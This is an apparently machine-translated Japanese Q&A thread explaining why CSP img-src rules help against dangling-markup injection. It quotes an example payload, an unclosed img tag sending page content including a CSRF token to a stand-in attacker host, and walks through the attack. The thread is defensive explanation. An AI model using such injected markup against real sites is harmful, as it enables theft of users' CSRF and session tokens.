なぜimg-srcリークから保護するためにCSPが必要なのですか？
GitHubは "GitHubのCSP後の旅" でimg-srcの問題を説明しています：
閉じられていない引用があるタグは、次の一致する引用までのすべての出力をキャプチャします。これには、次のようなページ上のセキュリティ上の機密コンテンツが含まれる可能性があります。
<img src='https://some-evil-site.com/log_csrf?html= <formaction="https://github.com/account/public_keys/19023812091023"> ...<input type="hidden" name="csrf_token" value="some_csrf_token_value"></form>結果の画像要素は、リクエストを https://some_evilsite.com/log_csrf?html=...some_csrf_token_value ....に送信します。その結果、攻撃者はこのぶら下がりマークアップ攻撃を利用して、侵入することができます選択したサイトへのCSRFトークン。
これは、ページ上でpage-sourceを押してコンテンツを手動で送信することとどう違うのですか？ユーザーが入力を挿入できるページだけの場合は、入力に検証を追加することで、入力に関する問題のみを防止する必要はありませんか？すべてのコードで他のソースのimg srcを防ぎませんか？
攻撃のしくみを明確にするために：
- サイトでは、後でどこかに表示されるテキストを入力できます。 HTMLを適切に除外しません。
- マロリーは
<img src='https://some-evil-site.com/log_csrf?html=に入り、ページへのリンクをアリスに送信します。 - アリスはページを表示し、アリスの秘密のコンテンツを含む残りのページは、マロリーが管理する
some-evil-site.comに送信されます。
ページ上でpage-sourceを押してコンテンツを手動で送信するのとどう違うのですか。
資格情報を使用して生成されたコンピューター上のソースを表示するので、秘密にされているものは含まれていません。ブログの投稿で説明されている攻撃の要点は、（HTMLを挿入することによって）他のユーザーからソースを「盗む」ことです。これにより、そのシークレットを読み取ることができます。
ユーザーが入力を挿入できるページだけの場合は、入力に検証を追加して、入力に関するこれらの問題のみを防止する必要はありませんか？
はい、CSPを実装した場合でも、これを行う必要があります。しかし、人間は間違いやすい生き物であり、私たちは間違いをするかもしれません。したがって、この種の攻撃を阻止するCSPを用意することは、多層防御として優れている可能性があります。
すべてのコードで他のソースのimg srcを防ぎませんか？
とにかく、任意のドメインからの画像を許可したくない場合は、画像を許可したいドメインをホワイトリストに登録し、他のすべてのものをブロックするとよいでしょう。繰り返しになりますが、これに対する他の種類の保護が必要ですが、バックアップがあることで害はありません。
ユーザーが「ソースの表示」を押してデータを手動で送信する場合、それは彼らの選択であり、サイトがそれを妨げるものは何もありません。ただし、CSP構成は通常、多層防御戦略の一部です。何かがうまくいかなくても、悪いことの発生を防ぎます。
この場合、彼らは入力検証エラーを排除しようとしますが、特にユーザーコンテンツを許可したい場合は、間違いを犯したり、エッジケースを見逃したりすることが本当に簡単です。それが機能する場合、CSPルールは有効になりません。ただし、間違えた場合は、CSPの制限が適用されます。
この特定のルールは、悪意のあるユーザーが、正当なユーザーが閲覧したページのデータを漏出できるコンテンツを含めることができないようにすることを目的としています。つまり、他のユーザーが表示したページにタグを付けることができれば、ユーザー固有のCSRFトークン、セッショントークン、または個人情報を取得することができます。ただし、CSPルールを設定すると、正当なユーザーのブラウザーは、指定されたドメインのみをイメージに使用する必要があることを認識し、他のドメインからのロードも試みません。
ドアや窓に鍵をかけても、家にアラームがあるような感じです。ロックが完璧であれば絶対に必要ではありませんが、外出時に間違いを犯して窓をロックするのを忘れる場合があります。その場合、アラームが被害を最小限に抑えます。